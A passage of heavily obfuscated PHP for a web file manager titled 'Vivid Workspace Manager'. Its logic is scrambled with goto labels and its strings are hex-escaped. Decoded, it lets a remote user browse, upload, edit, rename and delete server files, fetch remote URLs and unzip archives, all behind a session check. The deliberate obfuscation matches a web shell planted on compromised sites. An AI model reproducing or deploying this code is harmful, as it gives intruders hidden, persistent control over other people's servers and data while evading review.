rmdir($dKtL0); goto oTaSd; cjbcU: return true; goto YI_0v; oTaSd: } goto npAQS; KxLIM: TGOcS: goto g9sUN; wDVmV: echo htmlspecialchars($_SESSION["\143\x73\x72\x66\137\x74\157\153\x65\156"]); goto RkyCs; I6oBt: function AvBxS($fQKS1) { goto zkBzL; hE0mC: return number_format($fQKS1 / 1073741824, 2) . "\40\107\102"; goto UIHRn; t49pK: qqAk6: goto AHK69; UIHRn: fLflo: goto vCzP8; AHK69: return $fQKS1 . "\40\x62\x79\x74\x65\x73"; goto DXd5s; zkBzL: if (!($fQKS1 >= 1073741824)) { goto fLflo; } goto hE0mC; Sap5F: return number_format($fQKS1 / 1024, 2) . "\40\x4b\102"; goto t49pK; B9gnc: if (!($fQKS1 >= 1024)) { goto qqAk6; } goto Sap5F; vCzP8: if (!($fQKS1 >= 1048576)) { goto xrOPx; } goto gpwA8; gpwA8: return number_format($fQKS1 / 1048576, 2) . "\40\115\x42"; goto fjnfC; fjnfC: xrOPx: goto B9gnc; DXd5s: } goto GOdpt; ExL01: foreach ($v7WxV as $Ei6vG) { goto IRhpu; WrC05: ePw0s: goto lTI2n; HJO_4: a1puK: goto Tpr2T; GRpY2: $RKVRy[] = $Ei6vG; goto LR_0i; FAKVe: goto BB1jS; goto z6h7o; XDEUF: goto ePw0s; goto HJO_4; LR_0i: BB1jS: goto WrC05; cXVBQ: $M1ewI[] = $Ei6vG; goto FAKVe; z6h7o: qj_59: goto GRpY2; Tpr2T: $xAY2y = $UyGf4 . "\x2f" . $Ei6vG; goto n754H; n754H: if (is_dir($xAY2y)) { goto qj_59; } goto cXVBQ; IRhpu: if (!($Ei6vG === "\x2e" || $Ei6vG === "\56\x2e")) { goto a1puK; } goto XDEUF; lTI2n: } goto KxLIM; Jhmnc: if (rename($Cc3_N, $N1y8k)) { goto Sv1yi; } goto AoLSc; lhRVK: foreach ($RKVRy as $pbEsz) { goto DrSWy; Mk0DM: echo htmlspecialchars($pbEsz); goto suB9R; qJH3K: echo is_writable($UyGf4 . "\57" . $pbEsz) ? "\131\x65\163" : "\x4e\x6f"; goto Xp9c9; suB9R: echo "\47\x29\x22\x20\x63\x6c\141\x73\163\75\42\x62\x67\55\x72\145\144\x2d\65\60\60\40\164\x65\x78\x74\x2d\167\150\151\164\x65\x20\x70\170\55\63\40\160\x79\55\61\40\162\157\165\x6e\x64\x65\144\x2d\154\x67\x20\x68\157\x76\x65\162\72\142\147\55\x72\145\144\x2d\x36\60\60\x20\166\x69\166\151\144\x2d\x74\162\x61\x6e\163\x69\x74\x69\x6f\156\x22\76\104\145\x6c\x65\164\145\x3c\57\x62\x75\164\164\157\156\76\15\xa\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x3c\57\164\x64\76\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x3c\x2f\x74\162\x3e\15\12\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20"; goto Zsxs3; XoWB3: echo htmlspecialchars($pbEsz); goto WPqgH; Zsxs3: Ncchf: goto BrSWK; xrN3w: echo urlencode($UyGf4 . "\57" . $pbEsz); goto sfYvD; Xp9c9: echo "\x3c\57\164\144\76\xd\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\74\164\144\40\x63\154\141\163\x73\75\x22\x70\55\64\x22\76"; goto hqXAb; qvI6f: echo "\74\x2f\164\x64\76\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\74\164\144\x20\143\154\141\163\x73\75\x22\160\55\64\x20\163\x70\x61\143\145\x2d\170\55\x33\x22\x3e\15\xa\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\74\x62\x75\164\x74\157\x6e\40\157\156\143\x6c\x69\143\153\75\x22\157\x70\145\156\122\x65\x6e\141\155\145\x44\x69\141\154\x6f\x67\x28\47"; goto XoWB3; WPqgH: echo "\47\x29\42\40\143\x6c\x61\163\x73\x3d\x22\142\147\55\x79\145\x6c\154\x6f\x77\x2d\65\60\60\x20\164\x65\x78\164\x2d\167\x68\x69\x74\x65\40\160\170\x2d\x33\x20\160\x79\55\61\x20\162\x6f\165\x6e\144\145\144\55\x6c\147\x20\x68\157\x76\x65\162\72\142\147\x2d\x79\145\154\154\x6f\167\x2d\x36\x30\x30\x20\x76\151\166\x69\144\x2d\164\x72\x61\x6e\x73\151\164\x69\157\x6e\x22\x3e\122\145\156\141\155\145\x3c\57\x62\165\164\x74\157\x6e\76\15\xa\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x3c\x62\x75\164\164\157\x6e\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\x63\157\156\x66\151\162\155\104\145\x6c\x65\164\x65\x28\x27"; goto Mk0DM; sfYvD: echo "\42\40\x63\x6c\x61\163\163\x3d\42\164\145\x78\x74\x2d\166\x69\166\151\x64\x2d\x74\145\141\x6c\x20\150\157\166\145\x72\x3a\165\156\144\145\x72\154\151\156\x65\x22\76"; goto qA5YY; DrSWy: echo "\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x3c\164\x72\40\x63\154\141\163\x73\x3d\x22\x62\x6f\162\144\145\x72\55\164\40\x68\157\166\x65\x72\72\142\147\x2d\x67\x72\x61\x79\55\x35\x30\40\166\x69\166\151\x64\55\164\x72\x61\x6e\163\151\164\x69\157\156\42\76\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x3c\164\144\x20\x63\154\x61\163\163\75\42\x70\55\x34\x22\x3e\x3c\151\x20\x63\154\x61\163\163\75\42\x66\x61\163\x20\x66\141\x2d\x66\157\154\144\145\x72\x20\155\162\x2d\62\x20\164\x65\x78\164\55\166\151\x76\151\144\55\x74\145\x61\x6c\x22\76\74\x2f\151\x3e\74\x61\x20\x68\162\x65\x66\75\42\x3f\167\x6f\162\153\x73\x70\x61\143\145\75"; goto xrN3w; LV4k_: echo "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\15\xa\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\74\164\144\x20\x63\154\x61\x73\x73\x3d\42\160\55\x34\x22\76\106\157\154\144\145\x72\x3c\57\164\x64\76\xd\12\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\74\164\144\40\143\154\141\x73\x73\x3d\42\160\x2d\x34\x22\x3e\x2d\x3c\x2f\164\x64\x3e\15\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x3c\x74\x64\x20\143\x6c\x61\x73\x73\75\42\x70\55\x34\x22\x3e"; goto qJH3K; qA5YY: echo htmlspecialchars($pbEsz); goto LV4k_; hqXAb: echo date("\x59\x2d\155\x2d\x64\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $pbEsz)); goto qvI6f; BrSWK: } goto HrspV; V83w2: echo htmlspecialchars($_SESSION["\x63\x73\x72\x66\x5f\x74\x6f\x6b\145\x6e"]); goto OZfTN; B39ub: if (mkdir($isu4D, 0755)) { goto JKhRB; } goto zjQfB; scU2Z: v029G: goto ugX0X; nAVlY: fSqKS: goto joBYM; Conu0: goto SIh_6; goto EMeQw; ZGMPl: $f5xwD = realpath($_GET["\167\x6f\162\153\x73\x70\141\143\145"] . "\57" . $_GET["\151\164\x65\x6d"]); goto pIIY_; zjQfB: $DKH4N = "\x46\x61\x69\154\145\144\40\x74\x6f\40\143\x72\145\x61\x74\145\x20\146\157\x6c\x64\x65\162\x2e"; goto rAymK; Ucrww: $HcnX3->close(); goto LXZOP; MKafv: echo "\x22\x3e\15\12\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\x74\x20\x74\171\160\145\x3d\42\x66\x69\154\145\42\x20\x6e\141\x6d\145\x3d\x22\x75\160\154\x6f\141\144\x65\x64\137\151\164\x65\x6d\x22\40\x63\x6c\141\163\163\x3d\42\x66\x6c\145\x78\x2d\61\x20\160\55\63\x20\142\x6f\x72\144\145\x72\x20\x72\x6f\165\156\144\145\x64\x2d\x6c\147\x22\40\x72\145\x71\x75\151\x72\x65\144\76\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\74\142\x75\x74\164\157\x6e\40\x74\x79\160\145\75\42\x73\x75\142\x6d\x69\164\x22\40\x63\154\141\163\x73\x3d\42\x62\x67\55\x76\151\x76\151\144\x2d\x74\145\141\x6c\40\x74\x65\170\x74\x2d\167\150\x69\x74\145\x20\x70\x2d\x33\x20\x72\x6f\x75\x6e\144\x65\144\55\154\147\x20\150\157\166\145\162\72\x62\x67\x2d\166\x69\166\151\144\55\x74\145\141\154\x2d\x64\x61\x72\x6b\x20\x76\x69\166\151\x64\x2d\x74\162\141\x6e\x73\151\x74\x69\x6f\x6e\x22\76\125\160\154\x6f\141\144\74\x2f\x62\165\x74\x74\157\156\x3e\15\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\74\57\x66\157\x72\x6d\x3e\xd\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\74\x2f\x64\x69\166\76\15\xa\15\xa\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x3c\41\x2d\55\40\x46\x65\x74\x63\x68\40\x52\x65\155\x6f\x74\145\40\111\x74\145\x6d\40\55\55\x3e\xd\12\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20"; goto I43Nl; YNA75: if (!(isset($_POST["\x6d\x6f\x64\x69\x66\171\137\146\151\x6c\145"]) && !empty($_POST["\x69\x74\x65\155\137\156\x61\x6d\145"]))) { goto yHBos; } goto i0Qo7; cfqQy: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto xAZme; MELp7: $HcnX3->close(); goto U2HJ2; r8J0S: TNzCi: goto TaXVZ; sskkE: echo "\x22\x20\x63\154\x61\163\x73\75\42\x74\145\170\x74\55\166\x69\x76\151\x64\55\164\145\x61\154\40\150\x6f\x76\x65\162\72\x75\x6e\144\x65\162\154\x69\x6e\x65\x22\x3e\x2e\56\40\x28\120\141\162\145\x6e\164\x20\x57\157\162\153\x73\x70\x61\x63\145\x29\x3c\x2f\x61\76\x3c\x2f\164\144\76\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\74\164\x64\x20\143\154\141\x73\x73\x3d\x22\160\x2d\64\x22\76\x2d\74\x2f\164\x64\x3e\xd\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\164\144\x20\143\x6c\x61\x73\163\x3d\x22\160\x2d\64\42\x3e\55\x3c\x2f\x74\144\x3e\15\xa\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\x74\x64\40\143\154\141\163\x73\x3d\42\x70\x2d\x34\x22\x3e\x2d\74\57\x74\144\x3e\xd\xa\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\74\164\144\x20\143\154\141\163\x73\x3d\x22\160\x2d\x34\x22\x3e\55\74\57\x74\144\x3e\15\12\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\74\164\x64\x20\x63\x6c\141\x73\163\75\42\160\x2d\x34\x22\x3e\74\57\x74\x64\x3e\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\162\76\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20"; goto Zrf0Y; mU9_h: s77P6: goto HJ2Jy; npAQS: echo "\xd\xa\x3c\x21\104\x4f\103\x54\131\x50\105\40\x68\x74\x6d\154\x3e\15\12\x3c\150\x74\155\154\x20\154\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\12\74\x68\145\141\x64\x3e\xd\12\x20\x20\x20\x20\74\x6d\x65\164\141\40\x63\x68\141\x72\x73\145\x74\75\x22\125\x54\106\x2d\70\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\145\164\x61\x20\156\x61\155\145\x3d\x22\166\151\145\167\160\157\x72\x74\42\x20\143\157\156\164\x65\x6e\164\75\x22\x77\151\x64\x74\x68\75\x64\145\x76\x69\x63\x65\55\x77\151\144\x74\x68\x2c\40\151\x6e\151\x74\x69\141\x6c\x2d\x73\x63\x61\x6c\x65\75\x31\56\x30\x22\x3e\15\xa\x20\40\40\40\x3c\x74\x69\x74\154\145\76\x56\x69\166\151\x64\x20\x57\157\162\153\x73\160\x61\143\x65\40\115\x61\156\141\147\x65\x72\x3c\57\164\x69\164\x6c\145\76\15\12\40\40\40\40\x3c\163\143\x72\x69\160\x74\x20\163\x72\143\x3d\42\x68\164\x74\x70\163\72\x2f\x2f\x63\144\156\x2e\164\141\x69\154\x77\x69\x6e\144\x63\163\x73\x2e\143\157\x6d\42\x3e\x3c\57\163\x63\162\x69\160\x74\76\15\12\40\40\40\40\x3c\163\143\x72\151\160\164\x20\x73\x72\x63\x3d\x22\150\164\x74\160\x73\x3a\x2f\x2f\x6b\151\164\56\x66\x6f\x6e\x74\x61\x77\145\x73\157\x6d\145\56\143\x6f\155\57\x61\x30\x37\x36\144\x30\65\x33\71\71\56\x6a\163\42\40\143\x72\157\163\x73\x6f\x72\x69\x67\x69\156\75\x22\x61\156\x6f\156\171\155\157\165\x73\x22\76\74\57\x73\143\x72\151\x70\164\x3e\xd\xa\x20\40\40\40\x3c\163\x74\x79\154\x65\x3e\15\12\x20\40\x20\40\x20\40\40\40\x2e\142\x67\x2d\x76\x69\x76\x69\144\55\x73\x6c\141\164\x65\x20\x7b\x20\x62\x61\x63\153\x67\x72\157\x75\156\x64\x2d\143\157\x6c\x6f\x72\72\40\43\x65\x32\x65\x38\x66\60\x3b\x20\x7d\xd\12\x20\x20\x20\40\40\x20\40\40\56\x62\x67\55\166\x69\166\x69\144\55\164\145\x61\154\40\173\x20\x62\141\x63\x6b\147\162\157\165\x6e\x64\55\x63\x6f\154\157\162\72\40\x23\61\x34\142\x38\x61\66\x3b\40\x7d\xd\xa\x20\40\x20\40\40\x20\x20\x20\56\142\x67\55\166\151\x76\151\x64\55\x74\145\x61\154\x2d\144\141\x72\153\40\x7b\40\x62\141\143\153\147\x72\x6f\x75\x6e\144\55\x63\157\154\x6f\162\72\x20\43\60\146\67\x36\x36\x65\73\40\175\xd\12\40\40\x20\40\x20\40\40\x20\x2e\164\145\x78\164\55\166\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\x6c\40\x7b\x20\x63\157\154\x6f\x72\x3a\40\x23\x31\61\x31\70\x32\x37\x3b\40\x7d\xd\xa\x20\x20\40\x20\x20\40\40\x20\x2e\166\151\166\x69\x64\55\x74\162\141\x6e\163\x69\164\151\157\x6e\40\x7b\x20\164\162\141\x6e\163\151\x74\151\157\x6e\72\40\x61\154\154\40\60\x2e\63\163\40\x65\141\x73\145\x2d\x69\156\x2d\157\x75\x74\73\x20\175\15\xa\40\40\x20\40\x20\x20\40\40\x2e\x76\151\x76\x69\x64\55\x68\x6f\x76\x65\162\40\x7b\40\x74\x72\x61\x6e\x73\151\x74\151\x6f\x6e\x3a\x20\164\162\x61\x6e\x73\x66\157\x72\x6d\40\60\x2e\x32\x73\54\x20\142\157\x78\x2d\163\x68\141\144\157\167\x20\60\56\x32\x73\73\40\175\15\xa\40\40\x20\40\x20\40\40\40\x2e\166\x69\x76\x69\144\55\150\157\x76\145\x72\x3a\x68\157\166\145\162\40\x7b\x20\164\162\x61\156\163\146\157\162\155\x3a\x20\x74\162\x61\156\163\154\141\x74\x65\x59\x28\55\62\x70\x78\x29\x3b\40\x62\x6f\170\x2d\x73\150\141\x64\157\x77\x3a\x20\x30\x20\64\160\170\40\x36\160\x78\40\162\147\x62\141\50\x30\x2c\x20\x30\x2c\40\x30\54\x20\x30\56\61\51\x3b\40\x7d\xd\xa\40\40\x20\40\x20\x20\40\40\56\x73\x74\151\x63\x6b\171\55\x68\x65\141\x64\x65\162\40\164\x68\x20\x7b\40\160\x6f\x73\151\164\x69\157\x6e\72\x20\x73\164\x69\143\x6b\x79\x3b\x20\164\157\160\72\40\x30\x3b\40\142\x61\x63\153\147\162\x6f\165\x6e\144\x3a\x20\43\x66\x33\x66\x34\x66\x36\x3b\40\172\55\x69\156\x64\x65\170\x3a\40\x31\x30\73\x20\x7d\xd\xa\40\40\x20\x20\x3c\57\x73\164\171\x6c\x65\76\15\xa\x3c\x2f\x68\145\x61\x64\76\15\xa\x3c\x62\157\144\x79\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\147\55\x76\151\x76\x69\x64\55\163\x6c\x61\164\145\x20\155\151\x6e\x2d\150\55\x73\x63\162\145\145\156\42\76\xd\12\40\x20\40\x20\74\144\x69\166\40\x63\154\x61\163\163\75\42\143\157\156\164\141\151\x6e\x65\x72\x20\155\170\55\141\165\164\x6f\x20\160\55\x36\x22\x3e\xd\xa\40\x20\40\40\x20\x20\40\x20\74\150\x31\x20\143\154\141\x73\163\x3d\x22\164\x65\170\164\x2d\x34\170\154\x20\146\157\156\164\55\x62\157\x6c\x64\40\155\142\x2d\x38\x20\x74\x65\170\164\55\x76\x69\x76\151\x64\x2d\x63\x68\x61\x72\143\157\141\154\42\x3e\126\151\166\151\144\40\127\157\x72\153\x73\x70\141\x63\x65\40\115\141\x6e\141\x67\x65\x72\74\57\x68\61\76\xd\12\xd\12\x20\x20\x20\x20\x20\40\x20\x20\74\x21\55\55\x20\x50\x61\x74\x68\x20\x43\x72\165\x6d\x62\x73\x20\x2d\x2d\x3e\15\12\40\40\40\x20\x20\40\40\x20\x3c\156\x61\166\40\x63\154\x61\x73\163\x3d\42\x6d\x62\x2d\66\40\x74\145\170\164\x2d\x6c\x67\40\x66\x6c\x65\170\x20\151\164\145\155\163\55\x63\145\x6e\x74\x65\x72\x22\x3e"; goto pT5Cn; mGJZ_: echo htmlspecialchars($DKH4N); goto OEbq_; xNlQn: KXaXc: goto fP2_W; Bdm1a: $Vjqae = strtolower(pathinfo($XSEgQ, PATHINFO_EXTENSION)); goto yH4Cb; OPJ29: $DKH4N = "\106\141\x69\154\145\x64\x20\164\x6f\x20\x63\x72\145\141\x74\145\40\146\151\x6c\145\x2e"; goto GpF7q; FZOWP: goto wU4e6; goto R7O4_; rAymK: goto QuW09; goto P9s45; MYnzS: if (!($_SERVER["\x52\x45\121\x55\105\123\124\x5f\x4d\105\x54\x48\117\104"] === "\x50\117\x53\x54" && isset($_POST["\143\163\x72\x66\x5f\x74\157\153\145\x6e"]) && $_POST["\143\x73\162\x66\x5f\164\157\x6b\x65\156"] === $_SESSION["\143\x73\x72\146\x5f\x74\157\153\x65\156"])) { goto T0tH9; } goto X174h; AeSrz: $AUqcU = @file_get_contents($MhPPM); goto H5acy; efl0n: echo "\42\x3e\xd\12\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\40\74\x69\156\x70\165\164\x20\x74\x79\160\145\75\42\150\x69\x64\x64\145\x6e\42\x20\151\144\75\x22\x65\144\151\x74\x49\x74\x65\x6d\116\141\155\x65\42\40\x6e\141\x6d\x65\75\42\x69\164\145\x6d\137\x6e\x61\x6d\x65\x22\76\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x3c\164\145\x78\x74\x61\162\x65\141\x20\151\x64\x3d\x22\145\x64\151\164\111\x74\145\x6d\103\157\156\x74\x65\x6e\x74\42\40\x6e\x61\155\145\75\x22\x69\x74\145\155\x5f\143\x6f\156\x74\x65\x6e\x74\42\40\x63\154\x61\163\163\x3d\x22\x77\55\x66\x75\x6c\154\x20\x68\x2d\70\x30\40\x70\x2d\x33\x20\x62\157\162\144\145\x72\x20\x72\x6f\x75\x6e\x64\x65\144\x2d\x6c\147\x20\x6d\x62\x2d\x36\x20\146\157\x63\x75\x73\x3a\x6f\165\x74\154\151\156\145\55\x6e\x6f\x6e\x65\40\146\157\x63\x75\x73\x3a\x72\151\156\x67\x2d\62\x20\x66\157\143\165\163\72\162\x69\x6e\147\x2d\x76\x69\x76\151\144\x2d\x74\145\141\x6c\42\76\x3c\x2f\x74\x65\170\164\141\x72\145\141\x3e\xd\xa\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x3c\144\x69\166\40\143\x6c\x61\163\x73\75\42\146\x6c\x65\170\40\152\x75\163\x74\151\146\x79\x2d\145\156\x64\x20\x73\x70\141\143\145\55\x78\55\63\42\x3e\15\12\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\x3c\x62\165\x74\164\157\x6e\40\164\x79\160\x65\x3d\42\163\165\x62\x6d\x69\x74\x22\40\x6e\x61\155\145\75\x22\155\x6f\x64\x69\146\x79\x5f\x66\151\x6c\x65\42\x20\143\154\141\163\x73\x3d\42\x62\x67\55\x67\x72\145\x65\x6e\x2d\65\x30\60\40\164\145\x78\164\x2d\167\150\151\x74\145\x20\160\x78\55\65\x20\160\171\x2d\62\x20\x72\157\x75\156\x64\x65\144\x2d\x6c\147\x20\150\x6f\x76\145\162\72\142\x67\55\147\x72\x65\x65\x6e\55\x36\60\60\x20\x76\x69\x76\151\144\55\x74\162\x61\x6e\x73\151\x74\151\x6f\x6e\42\x3e\123\141\166\x65\x3c\57\x62\165\x74\x74\x6f\x6e\76\xd\12\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\40\x3c\142\165\164\164\157\156\40\x74\171\160\145\x3d\x22\x62\x75\164\x74\x6f\156\x22\x20\x6f\156\143\154\151\x63\x6b\75\42\x63\154\x6f\163\x65\x44\x69\x61\x6c\157\147\x28\47\x65\144\x69\x74\104\x69\x61\x6c\x6f\147\x27\51\x22\40\143\x6c\141\x73\x73\x3d\x22\x62\x67\55\x67\162\141\171\x2d\x35\x30\x30\40\x74\145\x78\164\55\x77\x68\x69\x74\x65\40\160\170\x2d\65\40\x70\171\x2d\62\40\162\157\x75\156\x64\x65\x64\x2d\154\x67\x20\150\157\166\x65\x72\x3a\x62\x67\x2d\147\162\141\x79\x2d\66\60\60\x20\x76\x69\166\x69\144\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\x6e\x22\76\103\x61\x6e\x63\x65\x6c\74\x2f\x62\165\164\x74\x6f\x6e\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x3c\57\144\151\x76\76\15\xa\40\x20\x20\40\40\40\40\40\40\x20\x20\40\74\x2f\x66\157\x72\155\76\xd\12\x20\x20\40\40\x20\x20\x20\40\74\57\x64\x69\166\76\xd\xa\x20\x20\40\40\x3c\x2f\144\x69\x76\76\xd\12\xd\xa\40\40\x20\x20\x3c\x21\x2d\55\x20\x52\x65\x6e\x61\x6d\x65\x20\x44\151\141\154\157\147\40\55\x2d\x3e\xd\12\x20\40\40\x20\74\x64\x69\166\40\x69\x64\75\x22\x72\x65\x6e\141\155\145\104\151\x61\154\x6f\147\x22\40\x63\154\141\163\163\x3d\x22\x66\151\170\145\144\40\x69\156\x73\145\164\55\x30\40\142\x67\55\147\x72\141\171\55\x36\x30\x30\x20\x62\147\x2d\157\160\x61\143\151\x74\171\55\x35\60\x20\x68\x69\x64\144\145\156\40\x69\164\x65\155\x73\x2d\143\145\156\x74\x65\162\40\152\x75\x73\164\151\x66\x79\55\143\x65\x6e\164\x65\x72\40\x76\151\166\151\144\x2d\164\x72\x61\x6e\x73\x69\164\x69\157\x6e\42\x3e\15\xa\x20\40\40\x20\40\x20\40\40\74\x64\151\166\40\143\x6c\x61\x73\x73\75\42\142\x67\x2d\167\150\151\164\145\x20\160\x2d\x38\x20\x72\157\x75\156\x64\x65\144\55\170\154\40\x73\x68\x61\x64\x6f\x77\55\x78\154\40\167\55\x66\165\x6c\154\x20\x6d\x61\x78\55\167\55\155\144\40\x74\x72\x61\156\x73\146\x6f\162\x6d\x20\x73\x63\141\154\145\55\71\x35\40\166\151\x76\151\144\55\x74\x72\x61\x6e\163\151\x74\x69\157\156\42\x3e\xd\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\74\x68\62\x20\143\154\141\x73\163\x3d\x22\164\145\x78\164\x2d\62\x78\154\x20\x66\157\x6e\x74\55\142\157\154\144\x20\155\x62\x2d\x36\x20\164\145\x78\164\55\166\151\166\x69\144\55\x63\x68\141\x72\x63\157\141\x6c\42\x3e\x52\145\x6e\141\155\145\40\x49\x74\145\155\x3c\57\x68\62\76\15\12\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x3c\x66\157\162\155\x20\151\x64\x3d\x22\x72\x65\156\141\x6d\x65\x46\x6f\162\155\x22\40\155\x65\x74\x68\157\x64\x3d\x22\160\x6f\163\164\x22\76\15\12\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x3c\151\x6e\x70\165\x74\x20\x74\x79\160\x65\x3d\x22\x68\x69\x64\144\x65\x6e\42\x20\x6e\141\155\x65\75\42\x63\163\162\146\137\x74\157\x6b\145\156\42\40\x76\x61\154\165\x65\x3d\x22"; goto qhhxa; LRz_K: $DKH4N = "\111\156\x76\x61\x6c\x69\x64\40\x72\x65\155\157\164\x65\x20\x55\122\x4c\56"; goto SRHNn; F7tPf: if (!$aBnyl) { goto bPia2; } goto o7tkz; TuFpl: $DKH4N = "\101\162\143\150\151\x76\145\x20\x6e\157\x74\x20\146\157\165\x6e\x64\x20\157\x72\40\x5a\151\160\101\162\143\x68\151\x76\145\40\x6e\157\164\x20\141\166\141\x69\154\141\x62\154\145\x2e"; goto UdP8y; Kv3l1: if (unlink($xAY2y)) { goto PqdoF; } goto vNZlm; nxE40: T0tH9: goto lT00_; f8J_i: if (!file_exists($mROC6)) { goto dfEiu; } goto iPIq9; j5f23: $k0Bn2 = 10 * 1024 * 1024; goto CDKG1; o7tkz: if (!(!isset($_SESSION["\163\145\143\165\x72\145\137\163\x65\163\163\151\x6f\156"]) || $_SESSION["\x73\145\143\x75\162\x65\137\x73\145\x73\x73\151\157\x6e"] !== true)) { goto we6Y3; } goto KCWei; KsqrH: hViYW: goto qM33z; N3l0l: $_SESSION["\x73\x65\143\x75\x72\x65\137\x73\145\x73\x73\151\x6f\x6e"] = true; goto JENU1; I43Nl: if (!$st1pL) { goto OId96; } goto atiNZ; v4fkp: $N1y8k = $UyGf4 . "\57" . $Nu004; goto grGj9; K2rz_: echo "\42\x3e\xd\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\74\151\x6e\x70\165\x74\x20\x74\x79\160\x65\75\42\150\151\x64\144\x65\156\42\x20\x6e\141\x6d\x65\75\42\x69\x74\x65\x6d\x5f\x6e\x61\x6d\145\42\x20\166\141\154\165\x65\x3d\42\44\173\151\164\x65\155\116\x61\x6d\145\x7d\x22\76\xd\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\74\x69\156\x70\165\x74\x20\x74\x79\x70\145\x3d\42\150\x69\x64\144\145\x6e\x22\40\156\141\155\145\x3d\x22\x64\145\x6c\x65\164\145\137\151\164\145\155\x22\x20\x76\141\x6c\x75\145\75\42\61\x22\76\xd\12\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x60\73\xd\xa\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x64\x6f\143\165\155\145\156\164\x2e\142\157\144\171\56\141\x70\160\145\x6e\x64\103\150\x69\154\x64\x28\146\157\x72\x6d\51\73\15\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\146\x6f\x72\155\x2e\x73\165\x62\155\x69\x74\50\51\73\xd\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x7d\xd\12\40\40\x20\40\x20\40\x20\x20\x7d\xd\12\15\12\x20\40\40\x20\40\x20\40\40\146\165\x6e\x63\x74\151\x6f\156\x20\x6f\x70\x65\x6e\x44\151\141\154\157\x67\50\144\151\x61\x6c\157\147\111\x64\x29\x20\x7b\15\12\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x63\157\156\x73\164\40\144\x69\141\154\x6f\x67\x20\x3d\40\x64\x6f\143\165\x6d\x65\x6e\164\56\x67\145\164\105\154\145\155\x65\156\164\x42\171\x49\144\x28\x64\x69\141\154\157\x67\111\x64\x29\x3b\xd\12\40\x20\40\40\40\40\x20\40\40\40\x20\40\x64\x69\x61\154\x6f\147\x2e\x63\154\x61\x73\x7